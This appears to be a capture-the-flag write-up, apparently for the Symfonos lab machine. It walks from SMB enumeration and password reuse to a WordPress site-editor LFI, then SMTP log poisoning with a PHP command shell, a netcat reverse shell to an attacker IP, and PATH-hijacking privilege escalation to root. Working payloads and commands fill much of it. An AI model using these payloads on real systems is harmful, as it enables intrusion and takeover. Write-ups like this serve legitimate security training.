Ir al contenido

SYMFONOS OPERATION: FROM SMB TO PATH HIJACKING - Portelcore Team

Objective: Total compromise (Root) of the target Symfonos machine. Final vector: Path Hijacking (Privilege Escalation). Target IP: 172.20.0.142 Status...

0views

Objective: Full compromise (Root) of the Symfonos target machine. Final Vector: Path Hijacking (Privilege Escalation). Target IP: 172.20.0.142 Status: 🚩 ROOT OBTAINED & FLAG CAPTURED

PHASE 1: INITIAL ACCESS (ENUMERATION & EXPLOITATION)

Sección titulada «FASE 1: ACCESO INICIAL (ENUMERACIÓN & EXPLOTACIÓN)»

Before considering Path Hijacking, we needed to obtain an initial shell. We began with an exhaustive network reconnaissance phase to identify the attack surface.

We executed a custom automation script (auto_scan_ip_nmap_Supreme.sh) to perform a deep scan of the target 172.20.0.142.

Command Executed:

Ventana de terminal
sudo ./auto_scan_ip_nmap_Supreme.sh -i 172.20.0.142 --scan-type standard --web-scan

Underlying Nmap command: The script has launched the following Nmap command to obtain maximum detail:

Ventana de terminal
/usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p22,25,80,139,445 -oA scans/172.20.0.142/detailed 172.20.0.142

SCAN RESULTS (Ports and Services):

We have identified the following critical exposed services:

PortStatusServiceVersion / Details
22/tcpOpensshOpenSSH (Debian)
25/tcpOpensmtpPostfix smtpd (Debian/GNU)
80/tcpOpenhttpApache httpd 2.4.25 ((Debian))
139/tcpOpennetbios-ssnSamba smbd 3.X - 4.X (Workgroup: WORKGROUP)
445/tcpOpennetbios-ssnSamba smbd 4.5.16-Debian (Workgroup: WORKGROUP)

Initial Tactical Analysis:

  1. SMB (139/445): Samba 4.5.16 is an outdated version. This will be our main entry point.
  2. HTTP (80): Apache Server. If SMB entry fails, we will look for web directories or application vulnerabilities.
  3. SMTP (25): Postfix. It could be useful for user enumeration or Log Poisoning techniques.

Nmap scripts (smb-enum-*) have provided crucial intelligence on the Samba service configuration:

Key Results:

  1. Users: The existence of user helios in domain SYMFONOS has been confirmed.
  2. Resources (Shares):
    • anonymous: Read/Write access (READ/WRITE) for guests (guest).
    • helios: Personal resource of user helios.
    • IPC$: IPC service.
  3. Exposed Content: The resource anonymous contains a file named attention.txt.
  4. Security: Message signing (Message Signing) is disabled (disabled), which could allow relay attacks, although it is not necessary in this case.

Raw Evidence (Nmap):

| smb-enum-domains:
| SYMFONOS
| Users: helios
...
| smb-ls: Volume \\172.20.0.142\anonymous
| SIZE TIME FILENAME
| <DIR> 2019-06-29T01:14:49 .
| <DIR> 2019-06-29T01:12:15 ..
| 154 2019-06-29T01:14:49 attention.txt
...
| smb-enum-shares:
| \\172.20.0.142\anonymous:
| Type: STYPE_DISKTREE
| Path: C:\usr\share\samba\anonymous
| Anonymous access: READ/WRITE
...
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00

With a clear focus on the SMB protocol, which often allows anonymous or null access if not properly configured, we will proceed to list the available shared resources.

Tactical Order:

# Listar recursos (-L) sin contraseña (-N)
smbclient -L //172.20.0.142 -N

COLLECTED EVIDENCE:

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)

Intelligence Analysis:

  • anonymous: Accessible resource. Our priority entry point.
  • helios: It reveals a valid system username (helios). This will be our target for brute force attacks or password reuse later.

We will connect to the anonymous resource to inspect its content and exfiltrate any relevant data.

Exfiltration Order:

smbclient //172.20.0.142/anonymous -N
smb: \> get attention.txt
smb: \> exit

EXFILTRATION EVIDENCE:

smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec)
smb: \> exit

Content Analysis (cat attention.txt):

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus

NEW INTELLIGENCE OBTAINED:

  1. New User Identified: zeus (Probable administrator or privileged user).
  2. Filtered Password List (Dictionary):
    • epidioko
    • qwerty
    • baseball

We will test the extracted credentials against the user helios on the SMB service.

Failed Attempt (Password: helios):

smbclient //172.20.0.142/helios -U helios
Password for [WORKGROUP\helios]:
session setup failed: NT_STATUS_LOGON_FAILURE

Successful Attempt (Password: qwerty):

smbclient //172.20.0.142/helios -U helios
# Password: qwerty

EVIDENCE OF SUCCESS:

smb: \> ls
. D 0 Sat Jun 29 02:32:05 2019
.. D 0 Sat Jun 29 02:37:04 2019
research.txt A 432 Sat Jun 29 02:32:05 2019
todo.txt A 52 Sat Jun 29 02:32:05 2019

Situation Analysis:

  • Access Secured: The password qwerty is valid for helios on SMB.
  • New Targets: research.txt and todo.txt. These files often contain hidden web server paths (“Security through obscurity”).

From the SMB session of helios, we will exfiltrate the found files.

smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (28.1 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (5.1 KiloBytes/sec)

cat research.txt:

Helios (also Helius) was the Sun god in Greek mythology… (Generic information, irrelevant).

cat todo.txt:

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

Point 3 reveals a hidden directory path to the web server: /h3l105.

We will execute wpscan to identify attack vectors for the discovered WordPress site:

Command Executed:

wpscan --url [http://172.20.0.142/h3l105/](http://172.20.0.142/h3l105/) --enumerate p
  • WordPress Version: 5.2.2.
  • Plugins: Not detected by passive methods.
  • Corrective Action: Manual search for common Symfonos plugins (site-editor, mail-manning).

We will confirm that the site-editor plugin is installed and is vulnerable to LFI.

Exploitation URL (Payload): http://172.20.0.142/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Output Evidence:

root:x:0:0:root:/root:/bin/bash
...
helios:x:1000:1000:,,,:/home/helios:/bin/bash
{"success":true,"data":{"output":[]}}

Status: LFI vulnerability confirmed. Arbitrary file read active.

1.6 SMTP Log Poisoning to RCE (The Assault)

Sección titulada «1.6 SMTP Log Poisoning a RCE (El Asalto)»

1. Poisoning - ALREADY COMPLETED: We will inject <?php system($_GET['cmd']); ?> into /var/mail/helios via Telnet.

2. Command Execution (Trigger): We will call the poisoned log using the LFI vulnerability of the site-editor plugin.

Detonation URL: .../ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id

RCE Evidence: The server will return the email content, including the result of the execution of the command id at the end:

From attacker@symfonos.localdomain Mon Feb 9 09:59:37 2026
Return-Path: <attacker@symfonos.localdomain>
...
Subject: Pwned
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy)...
{"success":true,"data":{"output":[]}}

Status: RCE CONFIRMED. We have code execution as user helios.

3. Reverse Shell (Final Access): From the browser, we will launch the reverse shell to our Kali machine:

&cmd=nc -e /bin/bash 172.20.0.165 4444

Obtained Shell Evidence:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.20.0.165] from (UNKNOWN) [172.20.0.142] 52086

Once the shell is obtained as user helios, we will proceed to enumerate the system searching for vulnerable SUID binaries.

We will look for binaries with the SUID bit enabled that seem "strange" or custom.

Command Executed:

find / -perm -4000 -type f 2>/dev/null

Collected Evidence:

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck <-- ¡SOSPECHOSO!
/bin/mount
/bin/umount
/bin/su
/bin/ping

Tactical Analysis: The binary /opt/statuscheck is not a standard Linux binary. Its location in /opt and its name suggest it is a script or program customized by the administrator. It is our primary target.

We will investigate what the suspicious binary does.

Command: strings /opt/statuscheck

Collected Evidence:

Ventana de terminal
...
curl -I H
http://lH
ocalhostH
...

Definitive Diagnosis: The binary invokes the command curl without specifying its absolute path (i.e., it uses curl instead of /usr/bin/curl). This confirms that it is vulnerable to Path Hijacking.

Assuming that the binary executes curl without an absolute path, we will proceed with the attack:

1. Prepare the Payload: We will create a malicious script named curl that invokes a shell.

Ventana de terminal
cd /tmp
echo "/bin/sh" > curl
chmod +x curl

2. Hijack the PATH: We will modify the environment variable so that the system searches first in /tmp.

export PATH=/tmp:$PATH

3. Detonate: We will execute the SUID binary. By calling curl, the system will execute our script with root permissions (inherited from the SUID).

/opt/statuscheck

Final Evidence (ROOT):

whoami
root

Command: cat /root/proof.txt

((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ())))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!

END OF REPORT